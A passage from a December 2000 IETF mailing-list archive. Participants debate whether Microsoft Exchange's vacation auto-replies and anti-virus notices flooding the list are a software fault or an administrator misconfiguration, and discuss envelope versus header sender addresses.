is the perpetrator of "Internet Mail Service." Since I'm at pains to delete trojan horses and other security problems whenever I find them, I don't know whether Exchange is related to "Internet Mail Service." I have noticed statements in this list to that effect from other people. I'll assume you know far more about "Internet Mail Service" than I (which would be easy) and that your "Microsoft Outlook Express 5.50.4522.1200" is sufficiently similar to "Internet Mail Service" that will now flood you. That you have not enabled the abuse floodgates for your particular installation of the garbage is irrelevant. > If there's a specific technical gripe you have, say so. If it's a violation > of any RFC, I'd be pleased to personally call it to the attention of > someone in Exchange who can look at it. ... It has been said explicitly and repeatedly over the years in this mailing list, including twice within the week. > If, on the other hand, you have a problem with a particular > person's misconfiguration, or addition of 3rd party software (like > virus scanners) that are spewing garbage, why not take it up > with them. Given the duration and frequency of vacation notice abuse from users of "Internet Mail Service," the fault is in the software instead of those who configure it. There is no excuse for the vulnerability to the viruses that afflict Microsoft software and that cause people to buy other malware such as the Antigen garbage that recently flooded us--assuming that Antigen is not a Microsoft product. > Please do let me know if I'm missing something, other than > religious aversions to Microsoft. You're missing the long well known abusive behavior of the "Internet Mail Service" in sending vacation notices. Anyone dumb enough to use "Internet Mail Service" should consider that they're announcing their absence to complete strangers all over the world, including not only IETF participants but also random spammers. You're also missing some of the rational reasons behind aversions to Microsoft software. Microsoft has a long history of egregious embracing-and-extending of standards. I could list several examples of major crimes in PPP, but will desist. Personally, I think the reasons are almost always incompetence and an inability to read any RFC instead of evil intent, but motives for crimes matter mostly during sentencing. Decades ago people made fun of the canonical IBM blue suit that was so provincial as to be unable to imagine that anything might exist outside Amorak. Those guys had nothing on people in the Redmond area. In other words, it would doubtless come as a surprise to people near Redmond if they would (and could) look outside and discover that there are are reasons why the almost 20 year old open-source BSD vacation program did some of the things it does. Vernon Schryver vjs@rhyolite.com From owner-ietf-outbound Fri Dec 29 02:00:30 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA28608 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 02:00:03 -0500 (EST) Received: from swan.prod.itd.earthlink.net (swan.prod.itd.earthlink.net [207.217.120.123]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA27806 for ; Fri, 29 Dec 2000 01:50:59 -0500 (EST) Received: from vulcan (1Cust107.tnt5.redmond.wa.da.uu.net [63.23.203.107]) by swan.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id WAA29592 for ; Thu, 28 Dec 2000 22:50:57 -0800 (PST) Message-ID: <018f01c07163$b1302f80$140a0a0a@ambler.net> Reply-To: "Christopher Ambler" From: "Christopher Ambler" To: References: <200012290320.eBT3KRb12444@calcite.rhyolite.com> Subject: Re: Denial of Service by Spamware? Date: Thu, 28 Dec 2000 22:50:53 -0800 Organization: Image Online Design, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id BAA27806 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit > Given the duration and frequency of vacation notice abuse from > users of "Internet Mail Service," the fault is in the software > instead of those who configure it. This is what I mean. You're singling out one product. I just got a bunch of vacation notices. Quite a few looked like this one, below. Looks like Lotus Notes to me. The vacation notices that I send out are configured, using Exchange, to not send to mailing lists. Anyone can do this. Even Lotus Notes users... Received: from lotus2.lotus.com ([192.233.136.8]) by exchangemail.iodesign.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id YRS6384N; Thu, 28 Dec 2000 22:17:03 -0800 Received: from internet1.lotus.com (internet1 [9.95.4.235]) by lotus2.lotus.com (8.9.3/8.9.3) with ESMTP id BAA17225 for ; Fri, 29 Dec 2000 01:08:08 -0500 (EST) Received: from ismail.lotus.com (ISMAIL.lotus.com [9.95.4.115]) by internet1.lotus.com (8.9.3/8.9.3) with ESMTP id BAA10394 for ; Fri, 29 Dec 2000 01:03:39 -0500 (EST) From: Cynthia_Mamacos@lotus.com Subject: Cynthia Mamacos/CAM/Lotus is out of the office. To: "Christopher Ambler" Message-ID: Date: Fri, 29 Dec 2000 01:03:06 -0500 X-MIMETrack: Serialize by Router on ISMail/CAM/M/Lotus(Build V506_12112000 |December 11, 2000) at 12/29/2000 01:03:16 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii From owner-ietf-outbound Fri Dec 29 02:40:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA07751 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 02:40:03 -0500 (EST) Received: from calcite.rhyolite.com (calcite.rhyolite.com [192.188.61.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA07266 for ; Fri, 29 Dec 2000 02:30:27 -0500 (EST) Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.1/8.11.1) id eBT7URa18596 for ietf@ietf.org env-from ; Fri, 29 Dec 2000 00:30:27 -0700 (MST) Date: Fri, 29 Dec 2000 00:30:27 -0700 (MST) From: Vernon Schryver Message-Id: <200012290730.eBT7URa18596@calcite.rhyolite.com> To: ietf@ietf.org Subject: Re: Denial of Service by Spamware? X-Loop: ietf@ietf.org > From: "Christopher Ambler" > > Given the duration and frequency of vacation notice abuse from > > users of "Internet Mail Service," the fault is in the software > > instead of those who configure it. > > This is what I mean. You're singling out one product. I just got > a bunch of vacation notices. Quite a few looked like this one, > below. Looks like Lotus Notes to me. Exactly how many is "quite a few" that looked like Lotus Notes? My records show only Cynthia_Mamacos@lotus.com and Kevin_Pasveer%webmail@cpr.ca My previous example of Lotus Notes vacation notice abuse was on July 24. Of the notices you've recently received, who besides Cynthia_Mamacos, Kevin_Pasveer%webmail@cpr.ca, and J-Bauer@telekom.de are not using "Internet Mail Service"? Have you not received "Internet Mail Service" vacation notices from EKlein@ciena.com Stephen.Dame@motorola.com EKlein@ciena.com (#2) EKlein@ciena.com (#3) akashper@lucent.com Volz@ipworks.com jeff.einarson@intel.com Ngoc-Long.Huynh@DREGIS.com Jack_Cheng-QA3581@email.mot.com EKlein@ciena.com (#4) By my count, that's 7 to 3 in favor of "Internet Mail Service". What is your count? > Exchange, to not send to mailing lists. Anyone can do this. > > Even Lotus Notes users... Any system can be messed up. I blame only the first of the four notices from EKlein@ciena.com on the perpetrator of "Internet Mail Service". Note that start of this thread concerned broken anti-virus junk to supplement software that is designed to be a trojan horse and that you guys seem to be saying is somehow related to whatever generates the vacation notice noise. Vernon Schryver vjs@rhyolite.com From owner-ietf-outbound Fri Dec 29 04:00:43 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA08222 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 04:00:03 -0500 (EST) Received: from swan.prod.itd.earthlink.net (swan.prod.itd.earthlink.net [207.217.120.123]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA08193 for ; Fri, 29 Dec 2000 03:59:52 -0500 (EST) Received: from vulcan (1Cust107.tnt5.redmond.wa.da.uu.net [63.23.203.107]) by swan.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id AAA19636 for ; Fri, 29 Dec 2000 00:59:52 -0800 (PST) Message-ID: <01c001c07175$b3047520$140a0a0a@ambler.net> Reply-To: "Christopher Ambler" From: "Christopher Ambler" To: References: <200012290730.eBT7URa18596@calcite.rhyolite.com> Subject: Re: Denial of Service by Spamware? Date: Fri, 29 Dec 2000 00:59:12 -0800 Organization: Image Online Design, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id DAA08193 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit > By my count, that's 7 to 3 in favor of "Internet Mail Service". > > What is your count? My count is 4 to 2 right now, but I have no reason to doubt you, and believe that it will equal your count shortly. > Any system can be messed up. I blame only the first of the four notices > from EKlein@ciena.com on the perpetrator of "Internet Mail Service". > > Note that start of this thread concerned broken anti-virus junk to > supplement software that is designed to be a trojan horse and that you > guys seem to be saying is somehow related to whatever generates the > vacation notice noise. Perhaps I gave the wrong impression, when I grouped the two together, as it appeared that you were also commenting on the vacation notices as well. My only point is that you seem to be looking at these messages and coming to the conclusion that IMS should be banned as a result. I don't agree, and merely wanted to point out that other mail systems have the same problem. There is anti-virus software for Notes, too. It seems to be better behaved, so Notes doesn't enjoy your attention. To say that IMS is "designed to be a trojan horse" just seems a little off-the-mark to me. I don't think even Microsoft deliberately designed Exchange (which uses IMS - you were correct in this assumption) to be a trojan horse. It has its problems, no doubt, but I don't assign malicious intent. As I said, I worked for MS for a little over 3 years, most of them in Exchange (server), so I have a little first-hand knowledge. My only concern is that you were calling for the banning of email software that I use, and I didn't think that was quite fair. Knowing the software in question, it seemed pretty clear to me that this was a case of user error. My virus scanning software doesn't send return email. My vacation notices are configured to only send once to each sender, and then only to senders on my "I'd like these people to know I'm on vacation" list. I can't help but wonder why other users haven't done the same. Nothing more, nothing less. Peace. Christopher From owner-ietf-outbound Fri Dec 29 09:11:42 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA09342 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 09:10:02 -0500 (EST) Received: from localhost.localdomain ([207.8.144.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA09302 for ; Fri, 29 Dec 2000 09:06:41 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eBTEB0Z18118 for ; Fri, 29 Dec 2000 09:11:00 -0500 Sender: francis@localhost.localdomain Message-ID: <3A4C9B72.BC338A20@ecal.com> Date: Fri, 29 Dec 2000 09:10:58 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: Denial of Service by Spamware? References: <200012290730.eBT7URa18596@calcite.rhyolite.com> <01c001c07175$b3047520$140a0a0a@ambler.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Christopher Ambler wrote: > I don't agree, and merely wanted to point out that other mail systems > have the same problem. There is anti-virus software for Notes, too. But a sane mail system does not *spread* viruses. > To say that IMS is "designed to be a trojan horse" just seems a little > off-the-mark to me. I think the reason Verson's calling it a trojan horse is that it's a program you install and that then starts spreading viruses. Typically, a trojan horse is one that spreads its *own* virus; but, from the user's point of view, that's not a vital difference. (On the other hand, by this viewpoint, any OS for which viruses exist is a trojan horse.) -- /================================================================\ |John Stracke | http://www.ecal.com |My opinions are my own. | |Chief Scientist |===============================================| |eCal Corp. |A ship is safe in a harbor, but that's not what| |francis@ecal.com|a ship is for. | \================================================================/ From owner-ietf-outbound Fri Dec 29 10:11:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA09773 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 10:10:02 -0500 (EST) Received: from prue.eim.surrey.ac.uk (IDENT:exim@[131.227.76.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09697 for ; Fri, 29 Dec 2000 10:01:57 -0500 (EST) Received: from regan.ee.surrey.ac.uk ([131.227.89.11]) by prue.eim.surrey.ac.uk with esmtp (Exim 3.16 #1) id 14C12Y-0004kK-00; Fri, 29 Dec 2000 15:01:54 +0000 Date: Fri, 29 Dec 2000 15:01:53 +0000 (GMT) From: Lloyd Wood X-Sender: eep1lw@regan.ee.surrey.ac.uk Reply-To: L.Wood@eim.surrey.ac.uk To: Vernon Schryver cc: ietf@ietf.org Subject: Re: Denial of Service by Spamware? In-Reply-To: <200012290730.eBT7URa18596@calcite.rhyolite.com> Message-ID: Organization: speaking for none X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/ X-no-archive: yes MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Fri, 29 Dec 2000, Vernon Schryver wrote: > Have you not received "Internet Mail Service" vacation notices from [..] I've received far more than that, presumably thanks to my Reply-To: line. All IMS. L. PGP From owner-ietf-outbound Fri Dec 29 10:51:34 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA10090 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 10:50:02 -0500 (EST) Received: from rock.gic.gi.com ([198.102.88.4]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10062 for ; Fri, 29 Dec 2000 10:49:15 -0500 (EST) Received: by rock.gic.gi.com; id KAA29125; Fri, 29 Dec 2000 10:40:21 -0500 Received: from htsmtp.gic.gi.com(168.84.143.23) by rock.gic.gi.com via smap (V5.0) id xma028881; Fri, 29 Dec 00 10:39:28 -0500 Received: from xchapps.gic.gi.com (xchapps.gic.gi.com [168.84.176.72]) by HtSMTP.GIC.GI.com (PMDF V5.2-31 #38904) with ESMTP id <01JY9VBG05SI0006T6@HtSMTP.GIC.GI.com> for ietf@ietf.org; Fri, 29 Dec 2000 10:48:29 -0400 Received: by xchapps.gic.gi.com with Internet Mail Service (5.5.2650.21) id ; Fri, 29 Dec 2000 10:47:51 -0500 Content-return: allowed Date: Fri, 29 Dec 2000 10:48:19 -0500 From: "Vetter, Rick (HT-EX)" Subject: GR-303 MIB BOF To: ietf@ietf.org Message-id: <417C01CA74C0D211B3FE02204840B14A027A5E86@xchsrv4.gic.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: multipart/alternative; boundary="----_=_NextPart_001_01C071AE.C4306CD0" X-Loop: ietf@ietf.org This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C071AE.C4306CD0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I know this is going way back, but can anyone tell me if anything came = out of the GR-303 MIB BOF at the 46th IETF in Washington, Nov 99? I read = the meeting report and it seemed that there would be more activity on this, = but I have been unable to find anything.=20 Rick Vetter Motorola Broadband Communications (formerly =AAGeneral Instrument) * 215 323 2383 ------_=_NextPart_001_01C071AE.C4306CD0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable GR-303 MIB BOF

I know this is going way back, but can = anyone tell me if anything came out of the GR-303 MIB BOF at the 46th = IETF in Washington, Nov 99?  I read the meeting report and it = seemed that there would be more activity on this, but I have been = unable to find anything.

Rick Vetter
Motorola Broadband = Communications
(formerly =AAGeneral Instrument)
( 215 323 2383


------_=_NextPart_001_01C071AE.C4306CD0-- From owner-ietf-outbound Fri Dec 29 12:30:39 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA10743 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 12:30:04 -0500 (EST) Received: from calcite.rhyolite.com (calcite.rhyolite.com [192.188.61.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA10720 for ; Fri, 29 Dec 2000 12:28:50 -0500 (EST) Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.1/8.11.1) id eBTHSmB28806 for ietf@ietf.org env-from ; Fri, 29 Dec 2000 10:28:48 -0700 (MST) Date: Fri, 29 Dec 2000 10:28:48 -0700 (MST) From: Vernon Schryver Message-Id: <200012291728.eBTHSmB28806@calcite.rhyolite.com> To: ietf@ietf.org Subject: Re: Denial of Service by Spamware? X-Loop: ietf@ietf.org > From: John Stracke > > I don't agree, and merely wanted to point out that other mail systems > > have the same problem. There is anti-virus software for Notes, too. > > But a sane mail system does not *spread* viruses. And people I'd want to hire even indirectly through a retail store don't do as more than one Microsoft advocate has this week (including privately) and blame Microsoft customers for persistent and common problems. It's disgusting to hear people whine for years "everyone's software does it" (despite evidence to the contrary), "it's not fair," "it's someone else's fault," and making false and misleading claims about the number and types of bad messages instead of jumping to fix the problem. Is this junk bad enough to be completely banned from the Internet (assuming that notion made sense, which it doesn't)?--no, of course not. There are worse things that should be vigorously stomped out completley, such as directed broadcast forwarding. Is this stuff bad enough to be banned from places where it is known to cause problems in order to encourage its perpetrators to stop at best willfully ignorantly claiming that all software is as bad and fix the problem?--Yes. Is the vacation feature of the package separate from the main thing?--perhaps but that's irrelevant. Is it possible to configure this stuff to not be abusive?--perhaps, but that's also irrelevant. Would the IETF lists refusing mail with the stigma silence anyone including, those who insist on using that package?--no, they can figure out alternatives just as those who insist on using spam houses for their mail services can figure out alternatives. > > To say that IMS is "designed to be a trojan horse" just seems a little > > off-the-mark to me. > > I think the reason Verson's calling it a trojan horse is that it's a program > you install and that then starts spreading viruses. Typically, a trojan > horse is one that spreads its *own* virus; but, from the user's point of > view, that's not a vital difference. (On the other hand, by this viewpoint, > any OS for which viruses exist is a trojan horse.) Actually, I don't distinguish between Exchange and Outlook(-Express) and was referring to the misfeatures of the latter (that for the little I know might be shared by the former) and that are infamous for carrying enemy soldiers into umpty-million virtual cities. If you've forgotten that business, just turn a TV to one of the many end-of-year surveys to hear all about what the media claims was the biggest virus or worm problem ever and that was entirely the fault of an idiot boy in the Philippines. As long as problems such as that and this vacation notice bug remain the fault of people outside the vendor, they won't be fixed. On a related note, http://www.cert.org/reports/activeX_report.pdf seems to be a good survey of the problems and available defenses for another wonderful Microsoft feature that makes sense in a singular, large, centrally managed corporate network but that is crazy nonsense outside where authentication is not the same as authorization. Vernon Schryver vjs@rhyolite.com From owner-ietf-outbound Fri Dec 29 13:11:29 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA11104 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 13:10:02 -0500 (EST) Received: from mail.perspex.com (outside-eth.virpack.com [12.5.16.108] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11070 for ; Fri, 29 Dec 2000 13:07:27 -0500 (EST) Received: from localhost (tlilley@localhost) by mail.perspex.com (8.8.7/8.7.3) with SMTP id SAA18130; Fri, 29 Dec 2000 18:39:28 GMT Date: Fri, 29 Dec 2000 18:39:18 +0000 (/etc/localtime) From: Tripp Lilley Reply-To: Tripp Lilley To: Christopher Ambler cc: ietf@ietf.org Subject: Re: Denial of Service by Spamware? In-Reply-To: <01c001c07175$b3047520$140a0a0a@ambler.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Fri, 29 Dec 2000, Christopher Ambler wrote: > Knowing the software in question, it seemed pretty clear to me that this > was a case of user error. My virus scanning software doesn't send return > email. My vacation notices are configured to only send once to each > sender, and then only to senders on my "I'd like these people to know > I'm on vacation" list. I can't help but wonder why other users haven't > done the same. Nothing more, nothing less. I have to strenuously disagree with your premise, here ("user error"). The technical community, all too often, strikes me as user-hostile, blaming many things on "the user" (a.k.a. the I/O error -- Idiot Operator). (Note that there are counterexamples both here and at large, but I'm making a point :) ). When I say a piece of software is "broken", I usually do so for one or more of a very few reasons: - it doesn't "do the right thing" by default - it doesn't let me make it "do the right thing" - it doesn't do anything right ;) - it's cumbersome and expensive to do anything beyond what the original designer considered "the right thing" (when there isn't already an accepted social definition of "the right thing", as there -is- in this case) I'll bet you quite a large sum of money that, if Exchange Server, or Outlook, or whatever, came configured out of the box with "excruciatingly polite" vacation messages, there wouldn't be this furor. Consider this set of rules from the qmail-vacation package, by Peter Samuel: vacation will not generate a reply if any of the following conditions are met: - The sender address includes the string -REQUEST@. - The sender is you. - The sender's name is any of: daemon postmaster mailer-daemon mailer root - The sender matches any of the mail addresses listed in the optional files ~/.vacation.aliases and ~/.vacation.noreply . See the FILES section below for more details on these files. - There is a Precedence: bulk or Precedence: junk header. - There is a Mailing-List: header. - Your mail address, or any address you have listed in the optional ~/.vacation.aliases file does not appear in either the To: or Cc: headers. This feature can be disabled using the -j option. See the OPTIONS section below for more details on this option. - An automatic reply has already been sent to the same address during the last week. The timeout value may be changed using the -t option. See the OPTIONS section below for more details on this option. - -n was specified on the command line and the user does not have a ~/.vacation.messages file. What I'm really getting at, here, is the notion of "graduated stewardship". Simply put, out of the box, a system must behave as a polite member of society. However, that system should also be able to be shaped in the hands of a somewhat skilled user (such shaping power being given in direct proportion to the user's adeptness, by way of increasingly obtuse access vectors for increasingly obscure tweaks). Unless specifically designed for such purposes, a system should not allow the user to make it do something antisocial, when there is an accepted de facto or de jure standard of social interaction. It's easy to blame users for bad software, but it's simply not their fault. Users, by and large, don't -have- and don't -want- the intimate understanding of how everything works. They no more want to configure a mail system before using it than they want to configure their car before driving it. Getting tags and stickers, adjusting the seats and mirrors, and cranking up the radio are analagous to getting IPs and DNS, setting up user accounts, and changing the background wallpaper. People don't want to be a mechanic or visit a mechanic before they're able to drive off the lot. > Peace. Through superior firepower ;) -- Joy-Loving * Tripp Lilley * http://stargate.eheart.sg505.net/~tlilley/ ------------------------------------------------------------------------------ "There were other lonely singers / in a world turned deaf and blind Who were crucified for what they tried to show. Their voices have been scattered by the swirling winds of time, 'Cause the truth remains that no one wants to know." - Kris Kristofferson, "To Beat the Devil" From owner-ietf-outbound Fri Dec 29 14:11:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA11705 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 14:10:02 -0500 (EST) Received: from newsguy.com (smtp.newsguy.com [209.155.56.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11630 for ; Fri, 29 Dec 2000 14:00:40 -0500 (EST) Received: from 207-103-71-212-cpadsl.cpadsl.voicenet.com (207-103-71-212-cpadsl.cpadsl.voicenet.com [207.103.71.212]) by newsguy.com (8.11.0/8.9.1) with SMTP id eBTIxiN34862 for ; Fri, 29 Dec 2000 10:59:44 -0800 (PST) From: Ted Gavin To: ietf@ietf.org Subject: Re: Denial of Service by Spamware? Date: Fri, 29 Dec 2000 13:53:55 -0500 Organization: Institute for the Very, Very Nervous Reply-To: tedgavin@newsguy.com Message-ID: <9vmp4t45nho1s59qvos30a50pkl55m7qan@4ax.com> References: <200012291728.eBTHSmB28806@calcite.rhyolite.com> In-Reply-To: <200012291728.eBTHSmB28806@calcite.rhyolite.com> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id OAA11630 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit On Fri, 29 Dec 2000 10:28:48 -0700 (MST), Vernon Schryver wrote: >> From: John Stracke > >> > I don't agree, and merely wanted to point out that other mail systems >> > have the same problem. There is anti-virus software for Notes, too. >> >> But a sane mail system does not *spread* viruses. > >And people I'd want to hire even indirectly through a retail store don't >do as more than one Microsoft advocate has this week (including privately) >and blame Microsoft customers for persistent and common problems. Inasmuch as I count myself as one person who, on this list, stated that the problems you cite with M$ software are ramifications of poor user and administrator education, I'll just toss my response in right here. First, I'm no Microsoft advocate. I was a mail administrator for some number of years in the course of which, I had to deal with Microsoft messaging products. Those persons who are responsible for managing Microsoft Exchange implementations should know that Out-Of-Office responses, as well as anti-virus application auto-notifications can be given permission to send to the Internet, just as they can be DENIED permission to send to the Internet. In fact, with all versions of M$ Exchange up to version 5.5 (the last that I used), auto-replies were, by Default, NOT sent outside of the mail system in question. Which means that the systems that had been sending those messages to this list were deliberately configured to do so. Perhaps a note to abuse@ and postmaster@ might help clear that up in the future. The fault is not in the software. The fault is with the users and the administrators. You wouldn't blame Eudora because someone spams you using it, so don't do it with Exchange. Admittedly, M$ makes their product so easy to *barely* setup properly that they *do* contribute to the dumbing down of the user and administrative base. But stop blaming the software. It isn't the fault of the software. It may be poorly designed, it may be bloatware and vaporware, but the things which are causing your last two uberpeeves, in which I am in full agreement by the way, are pure implementation problems. >It's disgusting to hear people whine for years "everyone's software does it" >(despite evidence to the contrary), "it's not fair," "it's someone else's >fault," and making false and misleading claims about the number and types >of bad messages instead of jumping to fix the problem. I agree. Not everyone's software does it, but not everyone's software gives people an equal level of administrative control. If you implement Exchange, you're not looking for the complexity or specificity that sendmail or some other product offer you. You're basically purchasing McMail. You're looking for whatever benefit you feel that Exchange provides. At that point, what any other products do becomes irrelevant. Spamming is an administrative problem. Administrators are duty-bound to prevent it. Administrators are duty-bound to address it. If an Exchange system allows for the unwitting (and entirely witless) spamming to external addresses, that product is not being adequately managed. Having done it myself, I promise you - those holes can be shut down administratively. [snip...] >Is this stuff bad enough to be banned from places where it is known to >cause problems in order to encourage its perpetrators to stop at best >willfully ignorantly claiming that all software is as bad and fix the >problem?--Yes. So you are essentially stating that persons who work for companies that use Microsoft Exchange Server are no longer welcome in IETF participation unless they use a mailer and get another account of their own? If so, just come out and say it. So, since Exchange users will now have to pay for another mail account, why not just let them use Exchange, but charge them a membership fee and use the cost to subsidize a moderator? Your point, while making it nice and convenient for everyone, is directly contrary to the notion that the internet is for everybody. Inasmuch as IETF exists under the ISOC umbrella, and since there are both valid and valued contributors to IETF who use Exchange (I was once one, thankyouverymuch), perhaps there's a more palatable way to do this. >Is the vacation feature of the package separate from the >main thing?--perhaps but that's irrelevant. I disagree. I think it is entirely relevant It's only different because it's a client-driven feature as opposed to a server-driven feature. >Is it possible to configure this stuff to not be abusive?--perhaps, >but that's also irrelevant. It's irrelevant in the same manner as a car can be driven so as not to cause loss of life among pedestrians. [snip] >Actually, I don't distinguish between Exchange and Outlook(-Express) and >was referring to the misfeatures of the latter (that for the little I know >might be shared by the former) and that are infamous for carrying enemy >soldiers into umpty-million virtual cities. If you've forgotten that >business, just turn a TV to one of the many end-of-year surveys to hear >all about what the media claims was the biggest virus or worm problem ever >and that was entirely the fault of an idiot boy in the Philippines. >As long as problems such as that and this vacation notice bug remain the >fault of people outside the vendor, they won't be fixed. I hold Microsoft to blame for those shortcomings, mostly because they don't tell you what the defaults are in their software. Anyone with a competency in administration or even the use of Outlook Clients (or Outlook Express clients) should know to disable the 'Preview Pane'. They should know to disable the Windows Scripting Host. Do those two things, and these worms just stop. Is MS at fault for building an OS where a user program can modify the kernel at will? Yup. Are they at fault for writing programs that do things without alerting the user first? Surely. But blame the users that purchase it for those very features, then don't learn how to manage them. If all M$ did was write bad software and leave it out there for general consumption without any market demand, we'd still have Microsoft 'Bob'. Happy New Year to all. Ted Gavin ------------------------------------------------------------ Member - ISOC, IETF, ISTF, CAUCE, APICS From owner-ietf-outbound Fri Dec 29 14:20:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA11884 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 14:20:03 -0500 (EST) Received: from snark.piermont.com ([206.1.51.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11840 for ; Fri, 29 Dec 2000 14:18:07 -0500 (EST) Received: by snark.piermont.com (Postfix, from userid 1000) id 56D211E00AC; Fri, 29 Dec 2000 14:18:06 -0500 (EST) Sender: perry@snark.piermont.com To: tedgavin@newsguy.com Cc: ietf@ietf.org Subject: Re: Denial of Service by Spamware? References: <200012291728.eBTHSmB28806@calcite.rhyolite.com> <9vmp4t45nho1s59qvos30a50pkl55m7qan@4ax.com> From: "Perry E. Metzger" Date: 29 Dec 2000 14:18:06 -0500 In-Reply-To: Ted Gavin's message of "Fri, 29 Dec 2000 13:53:55 -0500" Message-ID: <87k88jrq8h.fsf@snark.piermont.com> Lines: 18 X-Mailer: Gnus v5.7/Emacs 20.6 X-Loop: ietf@ietf.org Ted Gavin writes: > Those persons who are responsible for managing Microsoft Exchange > implementations should know that Out-Of-Office responses, as well as > anti-virus application auto-notifications can be given permission to > send to the Internet, just as they can be DENIED permission to send to > the Internet. That isn't the issue at all. The problem is that they reply to the header From: and not the envelope From: None of this would be a problem if the reply went to the envelope From. Perry From owner-ietf-outbound Fri Dec 29 14:50:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA12241 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 14:50:02 -0500 (EST) Received: from snark.piermont.com ([206.1.51.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA12109 for ; Fri, 29 Dec 2000 14:38:45 -0500 (EST) Received: by snark.piermont.com (Postfix, from userid 1000) id A99591E00AC; Fri, 29 Dec 2000 14:38:45 -0500 (EST) Sender: perry@snark.piermont.com To: ietf@ietf.org Subject: Why the out of office messages aren't an example of misconfiguration. From: "Perry E. Metzger" Date: 29 Dec 2000 14:38:45 -0500 Message-ID: <878zozrpa2.fsf@snark.piermont.com> Lines: 74 X-Mailer: Gnus v5.7/Emacs 20.6 X-Loop: ietf@ietf.org I hate to have to give a basic lesson on this stuff on, of all places, the IETF mailing list, but it appears that some folks around here don't know the details of of mail delivery. Lots of people keep saying "Gee, well, exchange lets you turn off sending out of office messages to the internet. That's the problem -- misconfiguration." Why is this next message NOT an example of misconfiguration? ------- Start of forwarded message ------- From: "Klein, Ed" To: "Perry E. Metzger" Subject: RE: Denial of Service by Spamware? Date: Fri, 29 Dec 2000 14:17:57 -0500 Ed Klein will be out of the office until January 2nd. ------- End of forwarded message ------- It is not an example of misconfiguration because I NEVER SENT ED KLEIN A MESSAGE. I sent a message to an exploder. The exploder, which has a SEPARATE, DISTINCT EMAIL ADDRESS, SENT THE MESSAGE. It is that address to which any error or automated deliveries should be directed. You see, in SMTP, we have a distinction between ENVELOPE and HEADER. In the From: line in the header, the address appeared. However, that address doesn't count for mail delivery purposes. Consider the To: line -- it said "ietf@ietf.org" in the original message, and yet Mr. Ed Klein got the message. Obviously, the To: line didn't tell the mailers where to deliver the message. The From: line doesn't tell you where to deliver automated replies, either! The parts of this that count are not the From: and To: in the visible message headers. They are the "MAIL 